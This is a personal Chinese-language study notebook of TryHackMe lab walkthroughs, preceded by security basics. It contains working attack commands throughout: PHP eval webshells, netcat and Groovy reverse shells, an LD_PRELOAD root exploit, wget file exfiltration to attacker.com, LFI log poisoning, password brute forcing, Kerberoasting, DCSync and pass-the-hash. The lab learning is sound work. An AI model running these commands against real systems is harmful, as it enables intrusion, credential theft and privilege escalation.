一些网安知识和靶场答案

想把之前的东西拾起来再深入一些而已,并不是想入这行 😂

推荐up主及网站

HelloCTF

黑兔

探姬

Tryhackme入门

gobuster -u http://fakebank.thm -w wordlist.txt dir			# 查找fakebank网站上可能隐藏的页面

-u用于声明我们正在扫描的网站,-w采用单词列表进行迭代以查找隐藏的页面

安全运营中心 ( SOC )

安全运营中心( SOC )是由网络安全专业人员组成的团队,负责监控网络及其系统,以检测恶意网络安全事件。SOC的主要关注领域包括:

  • 漏洞:每当发现系统漏洞(弱点)时,必须通过安装适当的更新或补丁来修复它。当无法修复时,应采取必要措施防止攻击者利用漏洞。虽然修复漏洞对SOC至关重要,但这项工作并非必然由 SOC 承担。
  • 违反策略:安全策略是保护网络和系统所需的一组规则。例如,如果用户将公司机密数据上传到在线存储服务,则可能构成违反策略。
  • 未经授权的活动:假设用户的登录名和密码被盗,攻击者利用它们登录网络。SOC必须尽快检测并阻止此类事件,以免造成进一步的损害。
  • 网络入侵:无论您的安全措施多么完善,入侵的可能性始终存在。当用户点击恶意链接或攻击者利用公共服务器时,都可能发生入侵。无论哪种情况,当入侵发生时,我们都必须尽快检测到,以防止进一步的损害。

恶意软件分析

Malware 指的是恶意软件。软件是指可以保存在磁盘上或通过网络发送的程序、文档和文件。恶意软件包括多种类型

复习一些小零碎的东西

搜索运算符

"" :双引号表示您要查找包含精确单词或短语的页面

site::此运算符允许您指定要限制搜索的域名。例如,我们可以使用 来搜索 TryHackMe 上的成功案例site:tryhackme.com success stories

-:减号允许您忽略包含特定单词或短语的搜索结果。例如,您可能对了解金字塔感兴趣,但不想浏览旅游网站;一种方法是搜索pyramids -tourism-tourism pyramids

filetype::此搜索运算符对于查找文件(而非网页)至关重要。您可以使用 Google 搜索的文件类型包括便携式文档格式 (PDF)、Microsoft Word 文档 (DOC)、Microsoft Excel 电子表格 (XLS) 和 Microsoft PowerPoint 演示文稿 (PPT)。例如,要查找网络安全演示文稿,请尝试搜索filetype:ppt cyber security

其他的一些高级索引的指南

Linux 命令 ss 代表什么短语?

Socket Statistics  套接字统计信息

专业搜索引擎

您熟悉 Internet 搜索引擎;但是,您对专业搜索引擎熟悉多少?我们指的是用于查找特定类型结果的搜索引擎。

初段

让我们从Shodan开始,这是一个用于搜索联网设备的搜索引擎。它允许您搜索特定类型和版本的服务器、网络设备、工业控制系统和物联网设备。您可能想了解有多少服务器仍在运行Apache 2.4.1,以及其在各个国家/地区的分布情况。为了找到答案,我们可以搜索,它将返回标头中包含字符串“ apacheapache 2.4.1 2.4.1”的服务器列表。

The results of searching for apache 2.4.1 on the Shodan website.

考虑访问 Shodan Search Query Examples 了解更多示例。此外,如果您有订阅,您可以查看 Shodan 趋势以获取历史见解。

Censys 森西斯

乍一看,Censys 似乎与 Shodan 相似。但是,Shodan 专注于连接互联网的设备和系统,例如服务器、路由器、网络摄像头和 IoT 设备。另一方面,Censys 专注于连接 Internet 的主机、网站、证书和其他 Internet 资产。它的一些用例包括枚举正在使用的域、审计开放端口和服务以及发现网络中的流氓资产。您可能需要检查 Censys Search Use Cases

The results of searching for apache 2.4.1 on the Censys website.

VirusTotal 病毒总数

VirusTotal 是一个在线网站,它使用多个防病毒引擎为文件提供病毒扫描服务。它允许用户上传文件或提供 URL,以便在一次作中针对众多防病毒引擎和网站扫描程序对其进行扫描。他们甚至可以输入文件哈希值来检查以前上传的文件的结果。
下面的屏幕截图显示了根据 67 个防病毒引擎检查提交的文件的结果。此外,您可以查看社区的评论以获得更多见解。有时,文件可能会被标记为病毒或特洛伊木马程序;但是,由于各种原因,这可能不准确,这时社区成员可以提供更深入的解释。

Checking the detection of a certain zip file on the VirusTotal website.

Have I Been Pwned 我被 pwned 了吗

Have I Been Pwned (HIBP) 只做一件事;它会告诉您电子邮件地址是否出现在数据泄露事件中。在泄露的数据中找到一个人的电子邮件表明私人信息泄露,更重要的是,密码泄露。许多用户在多个平台上使用相同的密码,如果一个平台被泄露,他们在其他平台上的密码也会暴露。事实上,密码通常以加密格式存储;但是,许多密码并不那么复杂,可以使用各种攻击来恢复。

Have I Been Pwned 网站上某个电子邮件地址的搜索结果。

一些专有缩写

CVE

将 Common Vulnerabilities and Exposures (CVE) 程序视为漏洞字典。它为软件和硬件产品中的漏洞和安全问题提供标准化标识符。每个漏洞都分配有一个采用标准化格式(如 CVE-2024-29988)的 CVE ID。此唯一标识符 (CVE ID) 可确保从安全研究人员到供应商和 IT 专业人员的每个人都引用相同的漏洞,在本例中为 CVE-2024-29988

MITRE Corporation 维护 CVE 系统。有关更多信息和搜索现有 CVE,请访问 CVE 计划 Web 站点。或者,访问国家漏洞数据库 (NVD) 网站。下面的屏幕截图显示了 CVE-2014-0160,也称为 Heartbleed。

PoC

概念验证通常是一段代码或应用程序,用于证明想法或理论是可能的。概念验证通常用于演示漏洞

netstat # 查看端口  
# netstat -ntlp  tcp
# netstat -nupl  udp
# netstat -anp   all port

开始测试!

这里主要做一些简单的命令备忘笔记

LazyAdmin

流程

拿到ip后扫一扫

nmap [ip] -F

ctrl + u 查看网站源码

目录扫描

dirb [http_url]
gobuster dir -u [http_url] -w [file_url]	# -w 为指定字典路径

发现content/as/index.php文件

发现后台管理页面

发现其框架sweetrice

searchsploit sweetrice
searchsploit -m 40716
searchsploit -m 40718

查看40718文件

发现其数据库备份文件路径

/content/inc/mysql_backup/

下载解析其sql文件

找到管理员账号密码

其密码经过加密,解密后得出账号密码

免费哈希破解器/crackstation

账号:manager

新建一个一句话木马x.php5

<?php @eval($_GET['x']);

根据漏洞利用脚本得出漏洞点为多媒体中心

上传该脚本

路径及参数为/content/attachment/x.php5?x=phpinfo();

得到php版本信息

system("whoami");		# 可以执行系统命令,可以看到得到了网站管理员权限

制作反弹Shell

rlwrap nc -lvnp 5555 # 启动一个在本地 5555 端口监听的 netcat 服务器,等待传入的 TCP 连接

HacktoolsChrome插件

选择nc mkfifo

请注意这里复制使用url编码

将对应的编码注入

提权步骤

sudo -l

发现NOPASSWD

思路: 找到对应的Root用户执行的自动化脚本,从而进行提权

根据宿主机的项目文件找到项目中的backup.pl,根据其指向找到/etc/copy.sh脚本

查看该脚本,发现其为反弹shell脚本,我们利用其进行覆写

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [source_ip] [source_port] >/tmp/f" > /etc/copy.sh

# 监听机监听
rlwrap nc -lvnp [port]

sudo /usr/bin/perl /home/itguy/backup.pl
# 即可提权为root

# 答案在/root/root.txt 还有/home/[username]/user.txt

WgelCTF

新的命令

gobuster dir -u [ip_addres] -w /usr/share/wordlists/dirb/big.txt	# 路径扫描模式 使用/use/share/wordlistis/dirb/big.txt的字典

扫到一个sitemap页面

扫sitemap页面

gobuster dir -u [ip_addres]/sitemap/ -w /usr/share/wordlists/dirb/big.txt

发现.shh文件

也挺荔浦,现实中不可能出现这种情况的

http://[ip_addr]/sitemap/.ssh/将该文件download下来

chmod 400 id_rsa	# chmod 600 id_rsa	
ssh -i id_rsa jessie@[ip_add]			# ssh连接对应目标

find / -name *flag.txt 2>/dev/null		# 查找根目录下的flag.txt后缀文件,错误信息输出到dev黑洞中

提权

sudo -l

新知识: 利用本地二进制命令漏洞进行提权

GTFOBins/命令利用文档

https://gtfobins.github.io/gtfobins/wget/

URL=http://attacker.com/
LFILE=file_to_send
wget --post-file=$LFILE $URL

“偷懒的方式”

nc -lvnp 5555
# 宿主机执行
sudo wget --post-file=/root/root_flag.txt http://[ip_add]:[port]

正确的方式

sudo wget --post-file=/etc/sudoers http://[ip_add]:[port]			# 该文件记录了哪些用户可以使用哪些命令

思路:想办法把sudoers文件,修改为不需要密码就可以调用任意命令,在覆写回去

user ALL=(root) NOPASSWD: /usr/bin/wget		# 修改前
user ALL=(root) NOPASSWD: ALL			# 修改后
python -m SimpleHTTPServer			# 使用python开启一个简单的http服务器

# 宿主机
sudo wget http://[source_ip:8000]/sudoers -O /etc/sudoers   			# 接收来自目标地址的文件

sudo -l			# 提权成功

TomGhost

水平提升

先扫一扫

nmap [ip] -F
nmap [ip] -sV -p8080			# tomcat
nmap [ip] -sV -p8009			# ajp服务

查找对应的ajp漏洞

searchsploit ajp
searchsploit -m 48143			# 查看对应的漏洞脚本
python 48143.py [target_ip]		 # 使用该脚本并指定目标源

得到xml配置文件

尾部信息得到一对凭证对

ssh skyfuck@[ip]
find / -name user.txt 2>/dev/null				# 得到用户flag

提权

sudo -l					#	发现该用户无可运行管理员命令

知识点:cuid提权

  • 在linux文件中,二进制文件在运行的时候,他会继承运行者的文件

谁运行就是谁的权限

检查cuid权限,是否可以使用cuid进行提权

find / -user root -perm /4000 2>/dev/null				# 检查cuid权限

小知识:ping一般使用icmp来进行网络连通性测试,但非管理员权限无法使用icmp来进行交互

但这样肯定不行,linux的解决方案是给二进制文件设置一个suid标志位

这样就会导致ping在运行时会已root用户来进行运行

当然肯定不可能就是靠检查列表就可以实现提权,不然这样就靠自动化脚本就可以搞定

我们查看一下该用户的目录发现,两个文件.pgp.asc的两个文件

# 使用scp 命令将该文件夹下的两个文件拷贝到本机
scp [user]@[ip]:[file_url]  [localhost_file_url]

PS:这里的pgp文件在现实的渗透环境中是比较难破解的

# locate 命令
locate gpg2john		# 查找本地有关gpg To john的工具
/opt/john/gpg2john tryhackme.asc > hash.txt 	# 使用该命令破解该文件哈希值

# john 命令
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt		# 使用john 命令破解hash.txt 字典使用为/usr/share/wordlists/rockyou.txt

gpg --list-secret-keys		# 列出你的私匙
gpg --import <你的私钥文件名.asc>
gpg --decrypt [file_name]

# 这就得到了另一个用户的密匙

以上步骤类似与水平/横向 权限提升

登录

sudo -l			# 发现该用户拥有管理员可执行命令
# 发现可执行zip 命令	检索有关zip的相关权限提升命令

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

id
whoami
# 权限提升成功

Creative

发现进入该ip会跳转至creative.thm这个域名,需要对hosts文件进行对应dns解析

echo "[ip] 	creative.thm"  >> /etc/hosts

# 目录扫描
gobuster dir -u  http://creative.thm -w /usr/share/wordlists/dirb/big.txt

# 扫描子域名
gobuster vhost -u  http://creative.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain

# beta.creative.thm 发现子域名
echo "[ip] 	beta.creative.thm"  >> /etc/hosts

访问该域名,发现该网页为探测url是否存活

python -m SimpleHTTPServer

发现该网页可以控制向外发起http请求,怀疑其拥有SSRF漏洞

使用伪协议相关内容,可以访问到其服务器本身,或内网地址

访问http://127.0.0.1发现可以访问自身

借助第三方工具SSRFmap

git clone https://github.com/swisskyrepo/SSRFmap.git
cd SSRFmap/
pip3 install -r requirements.txt
python3 ssrfmap.py
# 发现其需要配置url 

firefox打开开发者环境,

新建requests.txt将Copy Request Headers添加,并在底部添加url=http://127.0.0.1

POST / HTTP/1.1
Host: beta.creative.thm
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://beta.creative.thm
Connection: keep-alive
Referer: http://beta.creative.thm/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

url=http://127.0.0.1

继续执行命令

python3 ssrfmap.py -r requests.txt -p url -m portscan > output.txt

调查output.txt文件,发现1137端口开放

在测试网站对http://127.0.0.1:1337端口进行请求

访问其http://127.0.0.1:1337/home/saad,发现.ssh/id_ssa文件

ctrl + u打开网页源代码保存在本地id_rsa文件中

# 使用ssh 进行连接
ssh -i id_rsa saad@creative.thm

发现其还需要密码

查找ssh离线破解工具

locate ssh2john
# 使用该工具
/opt/john/ssh2john.py ~/.ssh/id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到密码重新登录

sweetness

得到user_tag

提权

在实际情况中我们需要经常查看.bash_history,该目录经常会出现明文密码

cat .bash_history
# 得到密码
sudo -l
# 发现可执行命令 ping,但没有什么用, 反而是 env_keep+=LD_PRELOAD  可以用来进行提权

env_keep+=LD_PRELOAD

搜索对应env_keep+=LD_PRELOAD的提权文章,可以编写一个自定义恶意库来提权

一般是在tmp目录下进行脚本的编辑

cd /tmp
vim shell.c
# 粘贴对应的内容
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles			# 编译shell.c 得到shell.so
sudo LD_PRELOAD=/tmp/shell.so ping			# 使用LD_PRELOAD库漏洞进行提权,这里需要输入saad的密码,就是之前从.bash_history得到的密码

# 提权成功
cat ~/root.txt

Anonymous

重点:ftp的匿名访问用户的利用,利用原有的脚本来反弹shell,suid提权

前四个问题

  1. Enumerate the machine. How many ports are open?

    4

  2. What service is running on port 21?

    ftp

  3. What service is running on ports 139 and 445?

    smb

  4. There’s a share on the user’s computer. What’s it called?

    pics

# 前4个问题答案
nmap [ip]
smbclient -L [ip]

ftp [ip]			# 使用ftp服务指定匿名访问的时候用户需要指定为 anonymous 密码为空
cd scripts			# 发现其目录中拥有clean.sh
get clean.sh		# 获取该脚本

查看该脚本发现其应该为定时任务脚本,自动清理文件,思路是想办法通过覆写该脚本,从而反弹Shell到本机(当然前提是有写入权限)

发现具有写入权限,将反弹Shell覆写并上传

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.244.173 5555 >/tmp/f

好的习惯:先监听端口再上传shell

rlwrap nc -lvnp 5555		# 监听端口

获得反弹shell

获得user.tag

提权

sudo -l		# 发现无可执行的管理员命令,需要tty的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
# 发现即使使用tty获取了shell,也需要管理员密码

# 检查suid文件
find / -user root -perm /4000 2>/dev/null
# 发现env较为反常
# 查找对应env可利用的二进制命令提权漏洞
env /bin/sh -p			# 这里的-p选项是继承执行用户的权限 不加为当前用户执行的权限
head -c 10 root.txt		# 用于显示文件的开头部分。默认情况下,它显示文件的前 10 行。
# 提权成功

VulnNetActive(Windows)

Redis未授权在Windows下的利用/NTLM离线破解/SMB服务利用/Nishang反弹shell/GodPotato提权

由于该机器没有Web端口,只可以从服务方面进行入手

nmap [ip] -p0-65535			# nmap 默认扫描一些常见的端口,这里的选项是做全端口扫描
#  发现其开放了6379高危端口,程序猿震怒
smbclient -L [ip] 			# 查看smb服务有没有未授权访问
apt install redis-tools -y		# 安装redis的工具包
redis-cli -h [ip]			# 连接对应端口

redis-cli

config get *			# 获取所有redis的配置信息
info
# 这里的数据有一个为Windows路径,请注意

攻击Redis的手段一般为4种

  • 利用redis访问本地服务的功能,通过给系统写入SSH公私钥,来进行控制连接(Linux)
  • 写入计划任务(Linux)
  • 写入WebShell(连接Web目录的Shell),比如说写一个一句话木马,但是无Web服务(通用)
  • 利用高版本下的Redis的主从复制,实现命令执行(RedisVersion 4以上)
  • (非常规手段)文章链接,利用redis服务可以执行lua脚本,强行让其访问控制机自身创建的SMB服务器,从而获取到其ntlm哈希

在本地服务器启动SMB server.

mkdir share

cd /opt/impacket/examples/
smbserver.py share ~/share/ -smb2support

# sudo impacket-smbserver share ./share/ -smb2support

宿主机redis执行命令

> eval "dofile('//[ip]/share')" 0

获得到了宿主机ntlm哈希,新建文件hash.txt

# 使用john来进行哈希密码破解
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 这里第二次找密码,就不能使用该命令了而是以下
john --show hash.txt

得到smb密码

使用SMB进行连接

smbclient -L [ip] -U [user]		# 输入破解后的密码,指定User为enterprise-security
# 发现SMB异常用户
smbclient //[ip]/Enterprise-Share -U enterprise-security
# 发现SMB根目录具有一个Purge开头的PowerShell脚本,get下来
get [file_name]
# 发现该脚本为定时执行脚本,我们这里可以将其替换为反弹shell脚本

PowerShell工具包集合/nishang

https://github.com/samratashok/nishang.git

将nishang/Shells目录中的Invoke-PowerShellTcp.ps1脚本覆盖到源Purge脚本中

当然还需要添加尾部连接将Shell反弹到哪里的代码

Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
rlwrap nc -lvnp 5555	# 监听端口获取Shell
cd Desktop
dir		
cat user.txt			# 在CMD中使用type来查看文件而不是cat
net user enterprise-security		# 查看当前用户信息
systeminfo		# 查看系统信息
whoami /priv		# 查看当前用户权限

新玩具

GodPotato/通杀2012-2022Windows提权工具

wget -O GodPotato-NET4.exe "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe"

需要注意目标系统上的.Net的版本

下载后,需要将对应的文件上传到目标宿主机上

由于该宿主机已得到SMB服务的对应账号密码,故使用SMB来进行服务上传

put GodPotato-NET4.exe

当然要是目标没有对应的上传服务,使用PowerShell系统命令也可以

HTTP download (wget like)

Invoke-WebRequest "http://[ip]/shell.exe" -OutFile "shell.exe" 		# PowerShell
certutil -urlcache -f http://[ip]/shell.exe shell.exe			# CMD	使用Python架设的Web服务即可

将提权.exe提权文件上传到对应smb用户文件夹之后进入对应文件夹,运行

cd C:
cd Enterprise-Share
./GodPotato-NET4.exe -cmd "cmd /c whoami"		# GodPotato 有的时候并不稳定,但确实有效

利用GodPotato将控制用户添加到本地用户组中

./GodPotato-NET4.exe -cmd "net localgroup administrators enterprise-security /add"
net user enterprise-security		# enterprise-security 已在本地管理组了

控制机使用psexec重新访问

cd /opt/impacket/examples/
psexec.py enterprise-security@[ip]
cd C:\Users\Administrator\Desktop
type system.txt

DogCat

LFI利用和绕过并实现RCE/php代码审计和payload构造/sudo提权/docker容器逃逸

本地文件包含:LFI

  • 会通过包裹文件进当前页面,以PHP代码去执行,不管是什么文件,只要被包含进来就会被当成php代码(php程序猿震怒)

通过尝试将命令包含进,尝试执行命令

[ip]/?view=dog/../../../../../../etc/passwd

这里网页提示passwd.php找不到,打不开这个文件

使用HackTools中的LFI的工具

# /example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
[ip]/?view=php://filter/convert.base64-encode/resource=dog/../../../../../etc/passwd			# 通过伪协议来读取文件并转成Base64形式, 发现还是尾部添加了php
[ip]/?view=php://filter/convert.base64-encode/resource=dog/../index				# 获取index.php Base64
echo "[file_base64]" | base64 -d				# 将读取的base64 解码

分析index.php代码

发现代码中的ext选项若为空,则可以传递一个非php的文件

[ip]/?view=dog/../../../../../../etc/passwd&ext=

同过利用LFI,通常可以使用远程命令执行,如果有一些上传点的话,我们可以上传文件,通过包含,其会被当成php代码执行

但是该测试没有上传点,我们可以利用日志来进行日志写入,然后执行对应的远程代码,从而远程获得Shell

F12打开开发者工具,打开网络选项,观察httpHeader发现服务为Apache服务器及对应php版本号

查找对应的apache服务器的对应的默认文件路径/var/log/apache2/access.log

[ip]/?view=dog/../../../../../../var/log/apache2/access.log&ext=

发现其记录着UA:User-Agent

我们可以自由的控制请求头部的UA,将其覆写成一段php代码,从而执行

<?php eval($_GET['x']);?>
[ip]/?view=dog/../../../../../../var/log/apache2/access.log&ext=&x=phpinfo();

可以发现我们可以远程执行命令,这样我们就可以尝试反弹Shell

新建shell.php文件

php反弹shell示例

控制机启动http服务,将该脚本下载其位置

python -m SimpleHTTPServer	
rlwrap nc -lvnp 5555
[ip]/?view=dog/../../../../../../var/log/apache2/access.log&ext=&x=file_put_contents("test123.php",file_get_contents("http://[ip:port]/shell.php"));					# 使用写入的php执行filePutContents指令来反弹Shell

[ip]/test123.php

获得该Shell,该测试有四个Flag

find / -name *flag*.txt 2>/dev/null		# 查找flag (这是第二个flag)
cd /var/www/				# 第二个flag
cat /html/flag.php			# 第一个flag

提权

sudo -l				# 发现env命令不需要root密码即可执行
env /bin/bash -p		# 提权成功
cat /root/flag3.txt

可以偶尔检查下opt目录 opt:可选软件

发现backup目录中的backup.sh

查看该脚本发现,该脚本进行对应的日志备份,在查看后没有发现其备份的文件,推测所处环境为容器内部

当然我们可以使用简单的命令来查看是否在容器内部,其实还有很多种方法来进行判断

ls -al /.dockerenv

容器逃逸

CDK/Docker及K8S逃逸横向移动持久化工具

由于该backup.sh会在宿主机上执行,尝试将其覆盖为反弹Shell

cd /opt/backups
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip] 5678 >/tmp/f" >> backup.sh

控制机进行监听

rlwrap nc -lvnp 5678

成功逃逸

cat flag4.txt

Internal

端口及目录扫描/Wordpress渗透/Linpeas辅助提权及后渗透信息收集/通过端口转发渗透内部docker容器/Jenkins渗透

开局扫描下目录及端口

gobuster dir -u http://[ip] -w /usr/share/wordlists/dirb/big.txt

发现敏感目录blog,phpmyadmin,wordpress

phpmyadmin可以尝试弱口令登录,但该测试中phpadmin没有弱口令且爆破起来非常困难

访问wordpress发现其页面跳转到blog上,进行域名解析

echo "[ip] internal.thm" >> /etc/hosts

发现为wordpress页面,其应该有默认后台

[ip]/blog/wp-admin

# wpscan无法使用意外情况
gem install ffi
sudo apt update
sudo apt install libffi-dev

这里我们可以枚举出用户名从而爆破密码,减少算力损耗(在现实情况,若可以枚举出用户名,也算为低危或中危漏洞)

wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt	# 破解用户密码

爆破得出用户登录用户名与密码

WordPress安全的前提:新版 + 无插件 + 强密码 (很多插件有问题),一旦攻击者拿到WordPress的登录密码,那攻击者拿到服务器权限只是时间问题了

登录WordPress页面,通过编辑其404.php,访问一个不存在的页面即可反弹shell

php反弹shell示例

监听5555

rlwrap nc -lvnp 5555

访问一个不存在的页面,收到反弹shell

sudo -l			# 发现需要密码
python -c 'import pty;pty.spawn("/bin/bash")'			# 需要一个ttyshell

find / -user root -perm /4000 2>/dev/null				# 查找SUID 漏洞

没有发现敏感权限和文件

新工具

linPEAS/快速查找系统中薄弱的隐藏信息工具,其还有WinPEAS

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh	# 下载linpeas.sh

控制机启动Http服务

python -m SimpleHTTPServer

尽量在自己的目录中打开HttpServer,而不是用户目录

宿主机下载linpeas

cd /tmp				# 由于获取的用户权限较低,所以需要在tmp目录下载
wget http://[ip]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > output.txt				# 把执行结果输出到output.txt文本中
cat output.txt

在opt目录中发现两个文件

cd /opt
cat wp-save.txt			# 得到用户名和密码
# 切换用户
# aubreanna:bubb13guM!@#123
ssh aubreanna@internal.thm


# 得到user.txt
cd ~
cat user.txt

# 发现Jenkins Service 运行端口与 ip
ifconfig
# 发现本机在0.1 Jenkins在0.2
# 结合之前在opt文件夹中发现的containerd文件夹,推测出其运行了Docker容器

因为我们无法直接访问该容器内部,我们需要通过宿主机端口转发的方式来访问该Jenkins容器

使用ssh自带的端口转发功能

# 将代理代理到本地的9999端口,使用aubreanna用户访问internal.thm的172.17.0.2:8080
ssh -L 9999:172.17.0.2:8080 aubreanna@internal.thm 		

访问本机9999端口

Jenkins的权限类似WordPress,登陆后获取权限只是时间问题

暴力破解Jenkins的密码

# 使用海德拉进行爆破
hydra -s 9999 127.0.0.1  http-form-post	"[reject_features]:[request_payload]:[reject_url]" 	# 指定端口和ip,方法为http的post表单 reject_features 拒绝特征

# reject_features 拒绝特征获取
# 调出Jenkins网站的F12的网络,发现登录信息会发送到路径 /j_acegi_security_check 
# 302重定向到loginError,所以这也是个特征 F=loginError
hydra -s 9999 127.0.0.1  http-form-post	 	"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError" -l admin -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-10000.txt  -t 64
# -l 指定单独的用户名	-P 密码是一个字典 j_username=^USER^&j_password=^PASS^ 为hydra替代password爆破 -t 64 64的线程
# 现实情况不可能将线程设置的这么高

这里就直接显示对应的账户密码,以便节省时间

admin:spongebob

进入到Jenkins的Manage页面的ScriptConsole

编写Groovy脚本

String host="[ip]";int port=5678;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
# 宿主机监听5678端口
rlwrap nc -lvnp 5678

# tty
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l 	# 无法执行,肯定是docker容器里
cd /opt		# 发现root用户密码
cat note.txt	# 该密码为容器外部宿主机root密码
ssh root@internal.thm		# 登录
cat ~/root.txt			# 得到root flag

Enterprise(Windows域渗透)

端口及服务扫描/Windows域基础知识/互联网敏感信息收集/Kerberoasting攻击/离线暴力破解/Winpeas辅助提权/利用服务路径提权/DCsync攻击/传递哈希进行PTH攻击

Windows工作机,一般在工作组或者域环境中(个人PC一般是工作组中,因为个人使用没有域的使用需求,在公司或大型单位中需要添加到域环境中),

这是因为需要对大量的windows机器进行批量管理,在域环境中有一个为domaincontroller,简称dc的域控制器,或domain的一些域管理员的用户,

域管理员对域内的权限非常大,可以批量的对这些计算机进行管理,在内网渗透中一般需要获取dc或者domain的用户权限,利用dc机domain的权限,从而控制域内的所有计算机。

nmap [ip] -p0-65535 -A
# 发现LAB-DC	3389	一般在域中DC后缀一般为DC的应该为DC控制器
# 当然现实情况下,不止一个控制器,甚至会出现不同管理权限的域管理组,在域内部可能会出现域森林类似的架构

LAB.ENTERPRISE.THM

LAB-DC.LAB.ENTERPRISE.THM

发现该服务器开放了Web口

查看该服务器的Web端口

扫描该web目录,发现robots.txt

该文件一般为告诉搜索引擎来表示自身不可爬取名单及对应的敏感文件

image-20250424232325580

虽然这个仅仅是个恶作剧

该测试的可利用端口为7990端口

查看7990端口,发现ATLASSIAN登录界面(Trello使用者震怒)

发现其页面显示了,我们正在迁移至GIthub,通过查看GIthub中的该组织的成员,我们得到一些git-commit的一些敏感信息的提交(这种错误应该在很多git初学者中经常出现吧)

我们获取这些敏感信息文件

userName:nik

userPassword:ToastyBoi!

尝试连接

remmina				# 打开remmina桌面控制

发现无法连接,我们尝试使用先控制域内一个用户的权限继而,控制dc管理员

这里需要用到的方式是Kerberoasting

利用一个普通用户,请求一个对应的服务主体名称SPN,它会返回一个使用户密码加密的一个信息,通过获取其加密信息,将其解密,就可能获得一个服务账号的密码

我们可以使用测试机自带的解析SPN解密的脚本

cd /opt/impacket/examples 
python3 GetUserSPNs.py -request -dc-ip [ip] [domain]


python3 GetUserSPNs.py -request -dc-ip [ip] LAB.ENTERPRISE.THM/nik > ~/hash.txt

获取到了一个凭据并保存到/root/hash.txt

破解该hash

john ~/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到密码和可以登陆的用户

bitbucket

remmina
# 连接对应的用户bitbucket  域为: lab.enterprise.thm
# 得到userflag

WinPEAS

Windows中的敏感信息提取工具

cd ~
wget -O https://github.com/peass-ng/PEASS-ng/releases/download/20250424-d80957fb/winPEASx86.exe
# 由于其内部不联网,我们需要本地起一个Web服务器来上传WinPEAS
python -m SimpleHTTPServer

certutil -urlcache -f http://[ip]:8000/winPEASx86.exe winpeas.exe
./winpeas.exe > output.txt

我们可以使用smb来下载该机上的output.txt

smbclient //[ip]/Users -U bitbucket
cd bitbucket
get output.txt

经典Windows提权方案

由于Windows的路径大部分是由引号包裹起来,因为很多有空格的文件夹和执行文件,如果没有引号,Windows会通过遍历自动补全空格后续的文件或文件夹,从而执行,这样就给我了我们可以进行劫持的机会,让其启动我们需要执行的文件。

使用HockTools中的MSF利用

Payload选择windows/shell_reverse_tcp

Format为exe-service

其他为空

msfvenom -p windows/shell_reverse_tcp LHOST=[ip] LPORT=5555 --platform windows -f exe-service -o shell.exe

记录下需要利用服务的名称

zerotieroneservice

我们重新把Shell命名成空格后面.exe,之后放在路径上即可

# 重命名为Zero
mv shell.exe Zero.exe
# 将文件上传到目标Windows
# 监听端口等待反弹shell
rlwrap nc -lvnp 5555
# 先cd到P(X86)/Zero Ti这个文件夹
certutil -urlcache -f http://[ip]:8000/Zero.exe Zero.exe
sc.exe start zerotieroneservice		# 通过sc命令来启动该服务

得到该机的system权限

题外话,得到DC后该怎么进行其他域服务器渗透

DCsync

DCsync本身使用利用域中的敏感信息同步的功能,其可以完整同步敏感域中的整个信息

但本身需要dc的控制权限

这个步骤我们需要已知管理员密码,或者新建用户提升到管理员权限,我们这里直接将之前的用户添加到管理员组中

net localgroup administrators bitbucket /add
net user bitbucket

littleredbucket

控制机发动DCsync

cd /opt/impacket/examples/
echo [ip] LAB.ENTERPRISE.THM >> /etc/hosts
echo [ip] LAB-DC.LAB.ENTERPRISE.THM >> /etc/hosts

python3 secretsdump.py LAB.ENTERPRISE.THM/bitbucket:littleredbucket@LAB-DC.LAB.ENTERPRISE.THM

这就导出域内的所有用户名的哈希

这里aad开头为旧版hash的空值,我们可以忽略,后面跟着的一段才是真正的hash

我们可以同过PTH攻击,通过传递Hash来登录到各种服务上

# /opt/impacket/examples/
evil-winrm -i [ip] -u Administrator -H [hash_code] 

我们还有别的渗透手法,比如黄金票据等

总结

命令总结

sc.exe 命令

Windows的类似Linux的Server启动服务的命令

sc.exe 的主要功能包括:

  1. 查询服务状态 (Query):

    • 检查特定服务是否正在运行、已停止、已暂停等。
    • 列出系统中所有正在运行的服务、驱动程序或所有服务。
